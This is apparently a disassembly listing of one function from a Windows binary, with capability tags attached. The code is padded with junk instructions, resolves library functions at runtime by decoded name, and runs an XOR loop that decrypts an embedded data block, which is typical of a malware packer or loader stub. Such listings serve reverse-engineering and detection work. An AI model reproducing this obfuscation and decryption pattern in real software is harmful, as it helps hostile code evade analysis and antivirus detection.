Function at 0x401e04
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov eax, 0x401dd4
call fcn.00401698
xor eax, eax
push ebp
push 0x4021e4
push dword fs:[eax]
mov dword fs:[eax], esp
inc ecx
dec ecx
nop
push 0
call sub.user32.dll_GetDC
mov ebx, eax
pushal
popal
inc ecx
dec ecx
inc ecx
dec ecx
push 0x44
push ebx
call sub.gdi32.dll_SetBkColor
pushal
popal
inc ecx
dec ecx
push 0x32
push ebx
call sub.gdi32.dll_SetBkColor
mov byte [0x403078], al
pushal
popal
nop
push 0x41017c
push 0x104
call sub.kernel32.dll_GetTempPathA
pushal
popal
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
pushal
popal
inc ecx
dec ecx
mov bl, 0x3a
pushal
popal
nop
nop
nop
mov al, byte [0x403078]
sub al, 3
xor al, 0x70
xor al, 0xc2
xor al, 0xb2
xor al, 0x1e
xor al, 0x1e
xor al, 0x99
xor al, 0x99
mov byte [0x410281], al
nop
pushal
popal
mov al, byte [0x41017e]
add bl, al
nop
inc ecx
dec ecx
pushal
popal
add byte [0x410281], 3
pushal
popal
nop
xor bl, byte [0x403078]
inc ecx
dec ecx
nop
mov al, byte [0x410281]
mov byte [0x410395], al
nop
nop
nop
pushal
popal
xor bl, byte [0x410395]
pushal
popal
inc ecx
dec ecx
nop
inc ecx
dec ecx
pushal
popal
nop
mov al, byte [0x410281]
sub al, 0x40
mov byte [0x403074], al
inc ecx
dec ecx
nop
inc ecx
dec ecx
nop
mov byte [0x403070], 0xc9
nop
pushal
popal
pushal
popal
mov eax, 0x40f89c
call main
nop
nop
nop
mov eax, 0x40f8a0
call main
nop
nop
inc ecx
dec ecx
mov eax, 0x40f890
call main
inc ecx
dec ecx
nop
nop
mov eax, 0x40f880
call main
nop
nop
nop
mov eax, 0x40f898
call main
inc ecx
dec ecx
pushal
popal
pushal
popal
inc ecx
dec ecx
mov eax, 0x40f87c
call main
nop
pushal
popal
mov eax, 0x40f884
call main
inc ecx
dec ecx
nop
mov eax, 0x40f8a4
call main
inc ecx
dec ecx
inc ecx
dec ecx
mov eax, 0x40f8a8
call main
pushal
popal
pushal
popal
mov eax, 0x40f88c
call main
nop
nop
nop
inc ecx
dec ecx
mov eax, 0x40f888
call main
pushal
popal
nop
pushal
popal
pushal
popal
inc ecx
dec ecx
nop
mov eax, 0x40f894
call main
nop
inc ecx
dec ecx
pushal
popal
mov eax, dword [0x40f89c]
call fcn.004014a4
push eax
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
inc ecx
dec ecx
inc ecx
dec ecx
nop
inc ecx
dec ecx
mov eax, dword [0x40f890]
call fcn.004014a4
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
inc ecx
dec ecx
pushal
popal
pushal
popal
test edi, edi
jbe 0x401feb
mov eax, dword [0x40f888]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410374], eax
pushal
popal
nop
inc ecx
dec ecx
mov eax, dword [0x40f87c]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x41036c], eax
nop
nop
inc ecx
dec ecx
nop
mov eax, dword [0x40f884]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410380], eax
nop
inc ecx
dec ecx
inc ecx
dec ecx
test edi, edi
jbe 0x402040
mov eax, dword [0x40f8a4]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410388], eax
nop
inc ecx
dec ecx
pushal
popal
mov eax, dword [0x40f880]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410390], eax
inc ecx
dec ecx
pushal
popal
nop
inc ecx
dec ecx
mov eax, dword [0x40f898]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410370], eax
nop
nop
inc ecx
dec ecx
mov eax, dword [0x40f8a8]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x41038c], eax
pushal
popal
nop
pushal
popal
mov eax, dword [0x40f894]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410378], eax
inc ecx
dec ecx
nop
pushal
popal
inc ecx
dec ecx
mov eax, dword [0x40f88c]
call fcn.004014a4
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410384], eax
inc ecx
dec ecx
pushal
popal
mov eax, dword [0x40f8a0]
call fcn.004014a4
push eax
push edi
call sub.kernel32.dll_GetProcAddress
mov dword [0x41037c], eax
pushal
popal
inc ecx
dec ecx
pushal
popal
pushal
popal
pushal
popal
xor bl, byte [0x403070]
xor eax, eax
mov al, byte [0x403078]
shr eax, 1
xor bl, al
mov byte [0x403070], bl
nop
nop
nop
mov al, byte [0x403070]
xor al, 0xca
xor al, 0xca
xor al, 0x50
xor al, 0x50
xor al, 0x92
xor al, 0x92
xor al, 0x73
xor al, 0x17
xor al, 0x64
mov esi, eax
and esi, 0xff
nop
pushal
popal
pushal
popal
inc ecx
dec ecx
mov byte [0x410282], 5
pushal
popal
nop
pushal
popal
pushal
popal
mov edi, 0xc800
mov ebx, 0x40307c
nop
pushal
popal
nop
inc ecx
dec ecx
mov al, byte [ebx]
xor al, 2
xor al, 0xea
xor al, 0xea
xor al, 2
xor al, 0xc
xor al, 0xc
mov byte [0x410394], al
nop
pushal
popal
mov al, byte [0x410394]
xor al, 0x16
xor al, 0x16
xor al, 0x84
xor al, 0x84
xor al, 0x62
xor al, 0x62
xor al, 0x2a
xor al, 0x2a
xor al, 0xab
xor al, 0xab
mov byte [0x410395], al
inc ecx
dec ecx
nop
inc ecx
dec ecx
nop
mov eax, esi
xor al, byte [0x410395]
xor al, byte [0x410282]
mov byte [ebx], al
inc ecx
dec ecx
pushal
popal
nop
cmp esi, 0xff
je 0x4021b0
pushal
popal
pushal
popal
inc ecx
dec ecx
inc esi
inc ecx
dec ecx
inc ecx
dec ecx
jmp 0x4021bd
cmp esi, 0xff
jne 0x4021bd
mov esi, 1
nop
inc ecx
dec ecx
inc ebx
dec edi
jne 0x402146
inc ecx
dec ecx
nop
nop
pushal
popal
call fcn.00401acc
pushal
popal
inc ecx
dec ecx
nop
inc ecx
dec ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4021eb
ret